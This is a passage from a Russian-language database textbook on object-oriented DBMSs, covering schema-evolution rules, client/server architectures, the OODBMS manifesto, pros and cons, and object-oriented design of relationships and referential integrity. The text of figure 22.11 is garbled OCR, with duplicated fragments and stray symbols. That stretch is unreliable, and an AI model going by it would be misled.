Если несколько суперклассов имеют атрибуты/методы с одинаковыми именами, но с разным происхождением, то в таком случае подкласс наследует определение из первого суперкласса.
Правило приоритета между суперклассами одного происхождения.
Если несколько суперклассов имеют атрибуты/методы с одинаковыми именами и одинаковым происхождением, то в таком случае атрибут/метод наследуется только один раз. Если в некотором суперклассе домен атрибута был переопределен, то подкласс наследует атрибут с наиболее специализированным доменом. Если домены оказываются несравнимыми, то атрибут наследуется из первого суперкласса.
Распространение изменений на подклассы.
Правило распространения изменений.
Изменения атрибутов/методов в классе всегда наследуются его подклассами, за исключением тех подклассов, в которых этот атрибут/метод был переопределен.
Правило распространения изменений в случае возникновения конфликтов.
Введение нового атрибута/метода или изменение имени атрибута/метода распространяется только на те подклассы, для которых не возникает конфликтов именования.
Правило изменения доменов.
Домен атрибута может быть изменен только с помощью генерализации. Домен унаследованного атрибута не может быть более общим, чем домен исходного атрибута в суперклассе.
Агрегирование и удаление наследственных связей между классами в процессе создания или удаления классов.
Правило вставки суперклассов.
Если класс С добавлен в список суперклассов для класса Cs, класс С становится последним из суперклассов для класса Cs. Любой возникший конфликт наследования разрешается благодаря правилам, приведенным в пп. 1.1-1.3.
Правило удаления суперклассов.
Если класс С имеет единственный суперкласс Cs и этот класс Cs удален из списка суперклассов для класса С, то класс С становится прямым подклассом каждого прямого суперкласса для класса Cs. Упорядочение новых суперклассов класса С является таким же, как и упорядочивание суперклассов класса Cs.
Правило вставки класса в схему.
Если для класса С не указан суперкласс, то в таком случае класс С становится подклассом класса OBJECT (корневого класса всей схемы).
Правило удаления класса из схемы.
При удаления класса С из схемы правило 3.2 последовательно применяется для удаления класса С из списка суперклассов всех его подклассов. При этом класс OBJECT не может быть удален.
Управление составными объектами.
Четвертая группа правил относится к тем моделям данных, в которых поддерживается концепция составных объектов. Для этой группы имеется одно правило, определяющее разные типы составных объектов. Здесь мы опустим рассмотрение этого правила, а заинтересованный читатель сможет найти все подробности в дополнительных источниках (Banerjee et al., 1987, б; Kim et al., 1989).
Архитектура
В этом разделе рассматриваются два аспекта архитектурных решений ООСУБД: оптимальное применение архитектуры клиент/сервер и способы хранения методов.
Архитектура клиент/сервер
Многие коммерческие ООСУБД используют архитектуру клиент/сервер для предоставления доступа к данным пользователям, приложениям и инструментам в распределенной вычислительной среде (см. раздел 2.6). Однако не во всех системах используется одинаковая модель “клиент/сервер”. Применяемые модели можно разбить на три основных типа, отличающихся функциональностью их компонентов, как показано на рис. 22.7 (Loomis, 1992).
Сервер объектов. В этом подходе предпринимается попытка распределить обработку между двумя компонентами. Обычно серверный процесс отвечает за управление хранилищем, блокировки, вывод данных на вторичные устройства хранения, регистрацию клиентов, процедуры восстановления, поддержку безопасности и обеспечение целостности, оптимизацию запросов и выполнение хранимых процедур. Клиент отвечает за управление транзакциями и взаимодействие с языком программирования. Это наилучший вариант архитектуры для кооперативной групповой обработки объектов и проектов в открытой распределенной среде.
Сервер страниц. В этом подходе большая часть функций базы данных выполняется клиентом. Сервер отвечает за доступ к вторичным устройствам хранения и предоставление страниц по требованию клиента.
Сервер базы данных. В этом подходе большая часть функций базы данных выполняется сервером. Клиент просто передает запросы серверу, получает результаты и передает их приложению. Такой подход используется во многих реляционных системах.
КЛИЕНТСЕРВЕР
Хранилище объектов
Рис. 22.7. Варианты архитектуры клиент/сервер, используемые в ООСУБД: а) сервер объектов; б) сервер страниц; в) сервер базы данных
В каждом случае сервер находится на том же компьютере, где располагается физическая база данных, а клиент может находиться на этом же или на другом компьютере. Если клиенту необходимо получить доступ к базам данных, распределенным среди нескольких компьютеров, то в таком случае ему придется обращаться к серверу на каждом из этих компьютеров. К одному серверу могут обращаться сразу несколько клиентов, представляющих отдельных пользователей или приложения.
Хранение и выполнение методов
Для управления методами могут использоваться два следующих подхода: хранение методов во внешних файлах (рис. 22.8, а) и хранение методов в базе данных (рис. 22.8, б). Первый подход аналогичен библиотекам функций или интерфейсам прикладного программирования (API) в традиционных СУБД, в которых прикладная программа взаимодействует с СУБД за счет компоновки с функциями, предоставляемыми фирмой-разработчиком СУБД. При использовании второго подхода методы хранятся в базе данных и динамически связываются с приложением во время выполнения программы. Второй подход обладает несколькими преимуществами.
Исключается избыточный код. Вместо размещения копии метода, обеспе- .чивающего доступ к элементу данных в каждой программе, обрабатывающей
эти данные, метод хранится в базе данных в единственном экземпляре.
Упрощаются модификации. При изменении метода все поправки потребуется внести только в одном месте. При этом все программы автоматически будут использовать обновленный метод. В зависимости от природы изменения, это позволяет исключить выполнение операции сборки, тестирования и повторного развертывания каждой из программ.
Методы защищены в большей степени. Хранение методов в базе данных позволяет применить к ним все меры безопасности, предоставляемые ООСУБД.
Методы могут совместно использоваться в параллельном режиме. В этом случае параллельный доступ также автоматически обеспечивается со стороны ООСУБД. Кроме того, эти же средства предотвращают одновременное внесение в некоторый метод различных изменений несколькими пользователями.
Повышенная целостность. Хранение методов в базе данных означает, что установленные ограничения целостности будут согласованно применяться ООСУБД по отношению ко всем приложениям.
Хранилище
Методы в файлах (связываемые в процессе компиляции и сборки)
Хранилище
Методы, связываемые с приложением динамически (б)
Рис. 22.8. Стратегии управления методами: а) хранение методов вне базы данных; б) хранение методов в базе данных
В продуктах GemStone и Itasca допускается использование методов, которые могут храниться и запускаться внутри базы данных.
Манифест объектно-ориентированных СУБД
В манифесте ООСУБД (Atkinson et al., 1989, а) предлагается тринадцать обязательных характеристик, которым должна отвечать любая ООСУБД. Их выбор основан на двух критериях: система должна быть объектно-ориентированной и представлять собой СУБД. Первые восемь правил относятся к критерию объектной ориентированности. Правило 1. Поддержка составных объектов
В системе должна быть предусмотрена возможность создания составных объектов за счет применения конструкторов основных объектов. Минимальный набор включает конструкторы типов SET, TUPLE и LIST (или ARRAY). Наиболее важными являются два первых конструктора, поскольку они получили достаточно широкое распространение в качестве конструкторов объектов в реляционной модели. Последний конструктор также имеет большое значение по той причине, что он позволяет моделировать упорядочение. Более того, в манифесте требуется, чтобы конструкторы объектов были ортогональными: т.е. любой конструктор можно было бы применить к любому объекту. Следовательно, должна существовать возможность использовать не только выражения типа SET(TUPLE()), LIST(TUPLE()), но и выражения типа TUPLE(SET()) и TUPLE(LIST()).
Правило 2. Поддержка идентичности объектов
Все объекты должны иметь уникальный идентификатор, который не зависит от значений их атрибутов.
Правило 3. Поддержка инкапсуляции
В ООСУБД корректная инкапсуляция достигается за счет того, что программисты обладают правом доступа только к спецификации интерфейса методов, а данные и реализация методов скрыты внутри объектов. Однако могут быть случаи, когда вве-
дение инкапсуляции не требуется, например в произвольных запросах. (В разделе 21.3.1 уже отмечалось, что инкапсуляция рассматривается как одно из существенных преимуществ объектно-ориентированного подхода. В таком случае, почему возникают ситуации, когда инкапсуляцию не следует применять? Первым типичным примером подобной ситуации является случай, когда содержимым объекта интересуется не пользователь, а СУБД. Второй пример состоит в том, что обычно для извлечения любого атрибута любого класса СУБД должна использовать метод get, однако прямое обращение к атрибуту будет более эффективным. Читателю предлагается самостоятельно обдумать эти аргументы.)
Правило 4. Поддержка типов или классов
В разделе 21.3.5 уже рассматривались различия между типами и классами. В данном манифесте требуется, чтобы в ООСУБД поддерживалась только одна из этих концепций. Схема базы данных в объектно-ориентированной системе включает набор классов или набор типов. Однако при этом не требуется, чтобы в системе автоматически поддерживался экстент некоторого типа, т.е. набор объектов заданного типа в некоторой базе данных. А если такой экстент поддерживается, то совсем необязательно, чтобы он был доступен пользователю.
Правило 5. Поддержка наследования типов или классов от их предков
Подтип, или подкласс, должен наследовать атрибуты и методы от его супертипа, или суперкласса, соответственно.
Правило 6. Поддержка динамического связывания
Методы должны применяться к объектам разных типов (перегрузка). Реализация метода должна зависеть от типа объекта, к которому данный метод применяется (переопределение). Для обеспечения этой функциональности связывание имен методов в системе не должно выполняться до времени выполнения программы (динамическое связывание).
Правило 7. Язык DML должен обладать вычислительной полнотой
Иначе говоря, язык манипулирования данными (DML) в ООСУБД должен быть языком программирования общего назначения. Очевидно, что это требование не выполняется в текущей версии стандарта языка SQL — SQL2 (см. раздел 13.1). Однако уже следующая версия стандарта языка SQL будет обладать необходимой вычислительной полнотой (раздел 23.4).
Правило 8. Набор типов данных должен быть расширяемым
Пользователь должен иметь средства создания новых типов данных на основе набора предопределенных системных типов. Более того, между способами использования системных и пользовательских типов данных не должно быть никаких различий.
Последние пять требований манифеста относятся к характеристикам СУБД.
Правило 9. Поддержка перманентности данных
Как и в обычной СУБД, данные должны существовать (т.е. быть перманентными) даже после завершения работы того приложения, которое их создало. При этом пользователь не должен явным образом перемещать или копировать данные с целью обеспечения их перманентности.
Правило 10. Поддержка очень больших баз данных
В обычной СУБД существуют механизмы эффективного управления вторичными устройствами хранения, например индексы и буферы. ООСУБД должна иметь аналогичные, скрытые от пользователя механизмы, обеспечивающие полную независимость логических и физических уровней системы.
Правило 11. Поддержка параллельной работы многих пользователей
В ООСУБД должны быть предусмотрены механизмы управления параллельностью, аналогичные механизмам, применяемым для этой цели в традиционных системах.
Правило 12. Обеспечение восстановления после сбоев аппаратного и программного обеспечения
ООСУБД должна предоставить механизмы восстановления, аналогичные тем, которые применяются для этой цели в традиционных системах.
Правило 13. Предоставление простых способов создания запросов к данным
ООСУБД должна предоставлять высокоуровневые (т.е. в той или иной степени декларативные), эффективные (т.е. пригодные для оптимизации) и независимые от приложений средства создания произвольных запросов. Однако система не обязательно должна предоставлять в распоряжение пользователя некоторый язык запросов, но может ограничиться наличием графических средств подготовки запросов.
В этом манифесте также предлагается несколько необязательных функциональных возможностей: множественное наследование, контроль типов и логический вывод типов, распределенная обработка в сети, проектирование транзакций, а также поддержка версий. Интересно, что при этом открыто не упоминается поддержка безопасности, целостности или механизма представлений, и даже полностью декларативный язык запросов не является обязательным.
Преимущества и недостатки ООСУБД
На базе использования ООСУБД можно предложить адекватные решения для многих типов специализированных приложений, однако они также обладают и некоторыми недостатками. В этом разделе рассматриваются как преимущества, так и недостатки ООСУБД.
Преимущества
Ниже перечислены основные преимущества, свойственные ООСУБД.
Улучшенные возможности моделирования.
Расширяемость.
Устранение проблемы несоответствия.
Более выразительный язык запросов.
Поддержка эволюции схемы.
Поддержка долговременных транзакций.
Применимость для сложных специализированных приложений баз данных.
Повышенная производительность.
Улучшенные возможности моделирования■
Объектно-ориентированная модель данных позволяет более точно моделировать реальный мир. Объект, который инкапсулирует состояние и поведение, является более естественным и реалистическим представлением объектов окружающего мира. Объект может хранить все связи, которыми он связан с другими объектами, включая связи типа “многие ко многим", а сами объекты могут быть преобразованы в сложные объекты, с которыми очень трудно работать, с помощью традиционных моделей данных.
Расширяемость
В ООСУБД допускается создание новых абстрактных типов данных на основе существующих типов. Способность группировать общие свойства нескольких классов и образовывать на их основе совместно используемые суперклассы может существенно сократить избыточность систем, а потому рассматривается как одно из основных преимуществ объектно-ориентированного подхода. Важным аспектом наследования
является переопределение, поскольку оно позволяет легко обрабатывать особые случаи с минимальным влиянием на Остальную часть системы. Повторное использование классов способствует ускорению разработки и упрощению сопровождения базы данных и ее приложений.
Устранение проблемы несоответствия
Простой интерфейс между языком манипулирования данными (DML) и языком программирования позволяет устранить проблему их несоответствия. При этом во многом исключается неэффективность, связанная с отображением декларативных языков, подобных SQL, на императивные языки, подобные С. Кроме того, в большинстве ООСУБД предусматривается наличие языка DML, обладающего вычислительной полнотой (в отличие от языка SQL, являющегося стандартным языком реляционных СУБД).
Более выразительный язык запросов
Навигационный способ доступа от одного объекта к другому, соседнему объекту, является наиболее распространенной формой доступа к данным в ООСУБД. Он очень отличается от ассоциативного способа доступа к данным в языке SQL. Навигационный способ доступа больше подходит для обработки случаев лавинообразного увеличения количества частей, рекурсивных запросов и т.д. Однако при этом часто можно услышать, что ООСУБД привязаны к некоторому языку программирования, который, несмотря на его удобство для программистов, обычно не используется конечными пользователями системы, нуждающимися в декларативном языке. Признавая это, в новом стандарте группы ODMG определен декларативный язык запросов, построенный на объектно-ориентированной форме языка SQL (раздел 22.8.5).
Поддержка эволюции схемы
Строгая связь между данными и приложениями в ООСУБД делает эволюцию схемы более гибкой. Механизмы генерализации и наследования позволяют создать более структурированную и интуитивно понятную схему, а также точнее выразить семантику приложения.
Поддержка долговременных транзакций
В современных реляционных СУБД для поддержания непротиворечивости базы данных (см. раздел 17.2.2) используется механизм упорядочивания операций параллельно выполняемых транзакций. В некоторых ООСУБД для управления долговременными транзакциями, типичными для сложных специализированных приложений баз данных, используется другой тип протокола. Как уже говорилось в разделе 21.1, это преимущество является спорным, потому что нет никакой причины (связанной со структурой), по которой работа с такими транзакциями не может быть организована в реляционной СУБД. Применимость для сложных специализированных приложений баз данных
Как уже говорилось в разделе 21.1, есть несколько прикладных областей, где применение традиционных СУБД не позволяет достичь успеха, например в автоматизированном проектировании (CAD), автоматизированной разработке программ (CASE), в офисных информационных системах (OIS) и мультимедиа-системах. Заложенные в ООСУБД возможности моделирования делают их особенно удобными для применения в этих классах приложений.
Повышенная производительность
Универсальным мерилом производительности ООСУБД является методика тестирования Object Operations Version 1 (OOI) (Cattell and Skeen, 1992), разработанная для имитации операций, наиболее распространенных в сложных специализированных инженерных приложениях, которые обсуждались в разделе 21.1. Например, для поиска всех частей, связанных с произвольно выбранной частью, затем всех частей, связанных с одной из этих частей, и т.д., вплоть до семи уровней вложенности. В 1989 и 1990 годах тестирование по методике 001 было проведено для ООСУБД GemStone, Ontos,
Objectstore, Objectivity/DB и Versant, а также для РСУБД INGRES и Sybase. Результаты тестирования показали в среднем 30-кратное превосходство ООСУБД над РСУБД.
В 1993 году в университете штата Висконсин (США) была выпущена версия 007 данной методики тестирования, которая включает более полный набор тестов и более сложную базу данных. Методика тестирования 007 была разработана для более детального сравнения разных ООСУБД (Carey et al., 1993). Она имитирует среду CAD/CAM и тестирует производительность системы в сфере объектноориентированной навигации среди кэшированных данных; данных, находящихся на диске; а также при разреженных и плотных обходах. Дополнительно она позволяет тестировать процедуры индексированного и неиндексированного обновления объектов, повторяющихся обновлений, создания и удаления объектов.
Существуют мнения о том, что отмеченная разница в производительности может быть объяснена отличием используемых архитектур, а не моделей данных. К тому же существенный вклад в эту разницу производительностей могут вносить динамическое связывание и сборка мусора в ООСУБД. Отмечалось, что упомянутые выше методики тестирования созданы специально для инженерных приложений, которые больше подходят для объектно-ориентированных систем. Некоторые авторы предполагают, что реляционные СУБД гораздо производительнее, чем ООСУБД, но в таких традиционных приложениях баз данных, как оперативная обработка транзакций (OLTP). Консорциум Transaction Processing Council (ТРС) сформулировал ряд тестов на основе транзакций для измерения производительности сред обработки транзакций в базах данных. Каждый из них содержит распечатанный текст спецификации и исходного кода на языке ANSI С, который наполняет базу данными в соответствии с предварительно заданной стандартизованной структурой. Например, тесты ТРС-А и ТРС-В основаны на выполнении простой банковской транзакции, тест ТРС-С построен на приложении для ввода заказов, а тест ТРС-D проверяет работу приложений поддержки принятия решений.
Прежде чем перейти к рассмотрению недостатков, стоит указать, что при правильной реализации доменов реляционные системы в состоянии обеспечить те же функциональные возможности, которыми должны обладать ООСУБД. Домен может рассматриваться как тип данных с произвольной сложностью со скалярными величинами, которые инкапсулированы и могут обрабатываться только предопределенными функциями. Следовательно, заданный для данного домена атрибут в реляционной модели может содержать любые данные, например чертежи, документы, изображения, массивы и т.д. (Date, 1995). В этом отношении домены и объектные классы, по сути, представляют собой одно и то же. Мы вернемся к рассмотрению этого вопроса в разделе 23.2.2.
Недостатки
Ниже перечислены основные недостатки, свойственные ООСУБД.
Отсутствие универсальной модели данных.
Недостаточность опыта эксплуатации.
Отсутствие стандартов.
Влияние оптимизации запросов на инкапсуляцию.
Влияние блокировки на уровне объекта на производительность.
Сложность.
Отсутствие поддержки представлений.
Недостаточность средств обеспечения безопасности.
Отсутствие универсальной модели данных
Как уже говорилось в разделе 21.1, для объектно-ориентированной модели данных не существует универсальной общепринятой модели данных, и большинство используемых моделей не имеет теоретического обоснования. Этот недостаток имеет очень большое значение и приравнивает ООСУБД к дореляционным системам. Однако недавно группа 0DMG предложила объектную модель, которая стала фактическим стандартом для ООСУБД. Более подробно объектная модель ODMG рассматривается в разделе 22.8.
Недостаточность опыта эксплуатации
Использование ООСУБД все еще очень ограничено. Это значит, что для них отсутствует такой же опыт работы, какой имеется у традиционных систем. Объектноориентированные системы все еще в большей степени отвечают требованиям программиста, чем неопытного конечного пользователя. Более того, кривая процесса обучения основам проектирования и управления ООСУБД все еще остается очень крутой. Поэтому восприятие этой технологии встречается с некоторым сопротивлением. Данная проблема будет оставаться насущной до тех пор, пока использование ООСУБД будет ограничено лишь небольшой нишей рынка.
Отсутствие стандартов
Отсутствие стандартов — общий недостаток ООСУБД. Как уже говорилось выше, для них не существует общепринятой модели данных. Аналогично, не существует стандартного объектно-ориентированного языка запросов. Группа ODMG предложила спецификацию языка объектных запросов OQL (Object Query Language), которая фактически стал стандартом, по крайней мере, на короткий срок (раздел 22.8.5). Подобное отсутствие стандартов может оказаться наиболее угрожающим фактором, препятствующим распространению технологии ООСУБД.
Влияние оптимизации запросов на инкапсуляцию
Для оптимизации запросов и организации эффективного доступа к базе данных необходимо обладать знаниями об особенностях реализации. Однако при этом нарушается принцип инкапсуляции. В рассмотренном в разделе 22.5 манифесте ООСУБД это допускается, хотя, как уже отмечалось раньше, это довольно спорное предложение.
Влияние блокировки на уровне объекта на производительность
Во многих СУБД блокировка используется как основа построения протоколов управления параллельностью. Однако применение блокировки на уровне объекта может вызвать проблемы с блокировкой в отношении иерархии наследования, а также оказать существенное влияние на общую производительность системы.
Сложность
Повышенные функциональные возможности ООСУБД, например иллюзия одноуровневой модели хранения, подстановка указателей, обработка долговременных транзакций, управление версиями и эволюция схемы, по определению более сложные, чем функциональные возможности традиционных СУБД. Вообще, повышенная сложность систем ведет к созданию более дорогих и трудных в использовании продуктов.
Отсутствие поддержки представлений
В настоящее время в большинстве ООСУБД не предусмотрено использование механизма представлений, которые, как уже упоминалось выше, обладают такими преимуществами, как независимость от данных, безопасность, пониженная сложность и возможность настройки (см. раздел 14.1.7).
Недостаточность средств обеспечения безопасности
На данный момент в ООСУБД не реализованы адекватные механизмы обеспечения безопасности. Большинство механизмов основано на высоком уровне детализации блокировок, причем пользователь не может предоставлять права доступа к отдельным объектам или классам. Однако этот недостаток можно было бы устранить в случае более широкого применения ООСУБД для решения бизнес-задач.
Проектирование объектноориентированной базы данных
В этом разделе обсуждаются способы применения методологии, описанной в главах 7, “Методология концептуального проектирования баз данных”, и 8, “Методология логического проектирования реляционных баз данных”, для проектирования объектных баз данных. Мы начнем наше обсуждение со сравнения основ этой методологии, т.е. усовершенствованной EER-модели типа “сущность-связь”, с основными понятиями объектноориентированной технологии. В разделе 22.7.2 рассматриваются связи, которые могут существовать между объектами, и способы поддержания ссылочной целостности. Завершается этот раздел некоторыми рекомендациями по поводу методов идентификации.
Сравнение объектно-ориентированного
и логического моделирования данных
Как показано в табл. 22.1, представленная в главах 7 и 8 методология концептуального и логического проектирования базы данных, основанная на создании EER- модели, имеет определенное сходство с объектно-ориентированным моделированием данных, или ООМД (Object-Oriented Data Modeling — OODM). Основное отличие заключается в инкапсуляции данных и поведении в объекте, тогда как в EER-модели хранится только информация о состоянии без каких-либо сведений о поведении. Таким образом, логическое моделирование данных не включает понятия “сообщение” и соответственно понятия “инкапсуляция”.
Таблица 22.1. Сравнение характеристик объектного и логического моделирования данных
Объектное моделирование
Логическое моделирование
Существующие отличия
Объект
Сущность
Объект содержит сведения о поведении
Атрибут
Атрибут
Нет
Связь
Связь
Те же ассоциативные связи, но наследование в ООМД-модели включает сведения о состоянии и поведении*
Сообщения
В логической модели нет такого понятия
Класс
Тил сущности
Нет
Экземпляр
Сущность
Нет
Инкапсуляция
В логической модели нет такого понятия
Сходство между этими двумя подходами позволяет использовать представленную в главах 7, “Методология концептуального проектирования баз данных”, и 8, “Методология логического проектирования реляционных баз данных” методологию логического моделирования данных как разумную основу для разработки методологии объектно-ориентированного проектирования базы данных. И хотя эта методология была предназначена прежде всего для проектирования реляционных баз данных, построенную модель можно было относительно просто спроецировать на сетевую или иерархическую модель данных. Полученная в результате применения методологии модель данных не имеет связей типа “многие ко многим” и рекурсивных связей (этап 1.2.1). Эти необязательные для объектно-ориентированного моделирования изменения могут быть опущены. Они были введены ввиду ограниченных возможностей моделирования в традиционных моделях данных. Использование нормализации в
этой методологии все еще имеет большое значение и ее не следует избегать даже при проектировании объектно-ориентированной базы данных. Нормализация применяется для улучшения модели так, чтобы она удовлетворяла разным ограничениям, которые помогают избежать ненужного дублирования данных. Работа с объектами не означает, что в этом случае допустима избыточность. В объектно-ориентированной терминологии вторую и третью нормальные формы нужно интерпретировать так:
"Каждый атрибут объекта зависит от идентификатора объекта".
При проектировании объектно-ориентированной базы данных необходимо добиться того, чтобы схема базы данных включала описания структуры данных объекта, ограничений, а также поведения объекта. Более подробно моделирование поведения описывается в разделе 22.7.3.
Связи и ссылочная целостность
В объектной модели данных связи представлены с помощью ссылочных атрибутов, которые обычно реализуются как OID-идентификаторы. В представленной в главах 7 и 8 методологии все не бинарные связи (например, тройные) следовало декомпозировать до бинарных. В этом разделе описываются способы представления бинарных связей с разными кардинальными числами: “один к одному” (1:1), “один ко многим” (1:М) и “многие ко многим” (M:N).
Связь типа „один к одному" (1:1)
Связь типа “один к одному” (1:1) между объектами А и В представляется за счет добавления ссылочного атрибута в объект А и (для поддержания ссылочной целостности) ссылочного атрибута в объект В. Например, на рис. 22.9 показана связь типа “один к одному” (1:1) между сущностями Manager и Branch.
Рис. 22.9. Связь типа "один к одному" (1:1) между сущностями Manager и Branch
Связь типа „один ко многим" (1 :М)
Связь типа “один ко многим” (1:М) между объектами А и В представляется за счет добавления в первый объект ссылочного атрибута на объект В и атрибута, содержащего набор ссылок на объект А, во второй. Например, на рис. 22.10 показаны две связи типа “один ко многим" (1:М): одна между сущностями Branch и Sales_Staff, а вторая — между сущностями Sales_Staff и Property_for_Rent.
Рис. 22.10. Связи типа “один ко многим” (1:М) между сущно стями Branch, Sales_Staff и Property_for_Rent
Связь типа „многие ко многим" (M:N)
Связь типа “многие ко многим” (M:N) между объектами А и В представляется за счет добавления в каждый объект атрибута, содержащего набор ссылок. Например, на рис. 22.11 показана связь типа “многие ко многим” (M:N) между объектами Renter и Property_for_Rent. При проектировании реляционной базы данных связь типа “многие ко многим“ (M:N) декомпозируется на две связи типа “один ко многим” (1:М) с использованием промежуточной сущности. Точно так же можно поступить для представления этой модели в ООСУБД, как показано на рис. 22.12.
IlSilli^^■■■8^IlSilli^^■■■8^property: 0103Bte:,.24-May-98mment: too smallproperty: 0103Bte:,.24-May-98mment: too smallijRSperty; 0ID7 , date: , 28-Apr-98 >=,:■.8®ВЙЙК8К<‘... MijRSperty; 0ID7 , date: , 28-Apr-98 >=,:■.8®ВЙЙК8К<‘... Mproperty: OID2 > ^6:,20-April-98Comment too remote ?property: OID2 > ^6:,20-April-98Comment too remote ?U;^GRENIER: 0ID10U;^GRENIER: 0ID10address: 18 Tain St ' : • 01475-392178 фб: House ent: 750VIEWING '■address: 18 Tain St ' : • 01475-392178 фб: House ent: 750VIEWING '■|Jig|ijSD2^K |Jdate:• 26-May-98 у exnmerit .8igiiiiiiitil^i^^|Jig|ijSD2^K |Jdate:• 26-May-98 у exnmerit .8igiiiiiiitil^i^^№' 0141-848-1825 iSiellM^i^№' 0141-848-1825 iSiellM^i^:tePEfiTY.F0R_RENT:0ID3 I:tePEfiTY.F0R_RENT:0ID3 I|^ОВЩ|^6:;^^ address; 5 Novar Dr type: Flat 4йп5:£>.;.ц/-л-.1ввЯЙ®№^ 1Ш11ШЖ ^pMrs:^0109}|^ОВЩ|^6:;^^ address; 5 Novar Dr type: Flat 4йп5:£>.;.ц/-л-.1ввЯЙ®№^ 1Ш11ШЖ ^pMrs:^0109}VrO^RTY_FOR_RENT:OID7 "VrO^RTY_FOR_RENT:OID7 "pno: .PG36address: 2 Manor Rdpno: .PG36address: 2 Manor Rdprice: 375'' OID8price: 375'' OID8sho: bno:sho: bno:0ID10ID1viewers: {0109}viewers: {0109}PROPERTYBDR^RENT: 0ID2PROPERTYBDR^RENT: 0ID2|ЩЖ^Р64-address: S Lawrence St|ЩЖ^Р64-address: S Lawrence StIIRer / rooms: »£ sho:Rer / rooms: »£ sho:Rat 350.OID4 OID1 {0109,01010} .Rat 350.OID4 OID1 {0109,01010} .
IlSilli^^
■■■8^
IlSilli^^
■■■8^
property: 0103
Bte:,.24-May-98
mment: too small
property: 0103
Bte:,.24-May-98
mment: too small
ijRSperty; 0ID7 , date: , 28-Apr-98 >=,:■
.8®ВЙЙК8К<‘... M
ijRSperty; 0ID7 , date: , 28-Apr-98 >=,:■
.8®ВЙЙК8К<‘... M
property: OID2 > ^6:,20-April-98
Comment too remote ?
property: OID2 > ^6:,20-April-98
Comment too remote ?
U;^GRENIER: 0ID10
U;^GRENIER: 0ID10
address: 18 Tain St ' : • 01475-392178 фб: House ent: 750
VIEWING '■
address: 18 Tain St ' : • 01475-392178 фб: House ent: 750
VIEWING '■
|Jig|ijSD2^K |
Jdate:• 26-May-98 у exnmerit .8
igiiiiiiitil^i^^
|Jig|ijSD2^K |
Jdate:• 26-May-98 у exnmerit .8
igiiiiiiitil^i^^
№' 0141-848-1825 iSiellM^i^
№' 0141-848-1825 iSiellM^i^
:tePEfiTY.F0R_RENT:0ID3 I
:tePEfiTY.F0R_RENT:0ID3 I
|^ОВЩ|^6:;^^ address; 5 Novar Dr type: Flat 4йп5:£>.;.ц/-л-.
1ввЯЙ®№^ 1Ш11ШЖ ^pMrs:^0109}
|^ОВЩ|^6:;^^ address; 5 Novar Dr type: Flat 4йп5:£>.;.ц/-л-.
1ввЯЙ®№^ 1Ш11ШЖ ^pMrs:^0109}
VrO^RTY_FOR_RENT:OID7 "
VrO^RTY_FOR_RENT:OID7 "
pno: .PG36
address: 2 Manor Rd
pno: .PG36
address: 2 Manor Rd
price: 375'' OID8
price: 375'' OID8
sho: bno:
sho: bno:
0ID1
0ID1
viewers: {0109}
viewers: {0109}
PROPERTYBDR^RENT: 0ID2
PROPERTYBDR^RENT: 0ID2
|ЩЖ^Р64-
address: S Lawrence St
|ЩЖ^Р64-
address: S Lawrence St
I
I
Rer / rooms: ȣ sho:
Rer / rooms: ȣ sho:
Rat 350.
OID4 OID1 {0109,01010} .
Rat 350.
OID4 OID1 {0109,01010} .
Pac. 22.11. Связь типа “многие ко многим** (M:N) между объектами Renter и Property_for_Rent
Ссылочная целостность
В разделе 3.3.3 ссылочная целостность рассматривалась на основе понятий “первичный ключ” и “внешний ключ”. Для соблюдения ссылочной целостности требуется, чтобы для каждой ссылки существовал объект, на который она ссылается. Рассмотрим, например, связь типа 1:1 между объектами Manager и Branch, представленную на рис. 22.9. Экземпляр 0ID1 класса Branch ссылается на экземпляр 0ID6 класса Manager. Если пользователь удаляет экземпляр класса Manager без соответствующего обновления экземпляра класса Branch, то ссылочная целостность нарушается. Ниже перечислены некоторые методы управления ссылочной целостностью.
Пользователю запрещается явно удалять объекты. В этом случае система сама отвечает за “сборку мусора”. Иначе говоря, система автоматически удаляет объекты, которые больше не используются пользователем. Этот способ применяется в продукте GemStone.
Пользователю разрешается удалять объекты, когда они уже не нужны. В этом случае система может автоматически обнаружить недействительные ссылки и поместить в них определитель NULL (неопределенный указатель)
либо запретить такое удаление. Данный способ поддержки ссылочной целостности используется в ООСУБД Versant.
Пользователю разрешается изменять и удалять объекты и связи, когда они уже не нужны. В этом случае система должна автоматически поддерживать целостность объектов. Для поддержания ссылочной целостности могут использоваться обратные атрибуты. Например, на рис. 22.9 показана связь от объекта Branch к объекту Manager и обратная связь от объекта Manager к объекту Branch. При удалении объекта Manager система может использовать обратную ссылку для выполнения соответствующей коррекции ссылки в объекте Branch. Подобный способ поддержания целостности используется в продуктах Ontos, Objectivity/DB и Objectstore.
Рис. 22.12. Альтернативное представление связи типа “многие ко многим” (M:N) с использованием промежуточного класса
Проектирование поведения
Для полного проектирования объектно-ориентированной базы данных одного только EER-подхода будет недостаточно. Необходимо дополнить его некоторой технологией идентификации и документирования поведения каждого класса объектов. Данная технология включает подробный анализ корпоративных требований, предъ-
являемых к обработке данных. Однако при обычном подходе с использованием диаграмм потоков данных требования, предъявляемые в системе к обработке данных, анализируются отдельно от модели данных. В объектно-ориентированном анализе требования, предъявляемые к обработке данных, отображаются на набор методов, уникальных для каждого класса. Эти видимые для пользователей или других объектов методы, т.е. открытые методы (public methods), следует отличать от чисто внутренних методов класса, т.е. закрытых методов (private methods). Мы рассмотрим следующие три типа открытых и закрытых методов:
конструкторы и деструкторы;
методы доступа;
методы преобразования.
Конструкторы и деструкторы
Метод-конструктор генерирует новые экземпляры класса. Каждому новому экземпляру присваивается уникальный OID-идентификатор. Метод-деструктор удаляет ненужные экземпляры класса. В некоторых системах деструкция выполняется автоматически: если некоторый объект становится недоступным для любого другого объекта, он автоматически удаляется. Выше этот процесс уже описывался как автоматическая сборка мусора.
Методы доступа
Методы доступа возвращают значение атрибута или набора атрибутов некоторого экземпляра класса. Например, класс Sales Staff может иметь метод Get_Salary, который возвращает значения зарплаты сотрудников, а класс Person может иметь метод Get_Contact_Number, который возвращает номер контактного телефона и факса для некоторого сотрудника или клиента. Метод доступа также может возвращать данные, которые относятся к классу, например класс Sales_Staff может иметь метод Get_Average_Salary, который вычисляет среднее значение зарплаты для всех сотрудников. Кроме того, метод доступа может выводить данные на основании значения некоторого атрибута. Например, класс Person может иметь метод Get_Age, который вычисляет возраст человека на основе его даты рождения. В некоторых системах автоматически генерируется метод доступа к каждому атрибуту. Этот подход используется в очередном стандарте языка SQL, который для каждого атрибута каждого нового типа данных требует автоматического создания метода-наблюдателя (observer), предназначенного для доступа (get) к этим атрибутам (раздел 23.4).
Методы преобразования
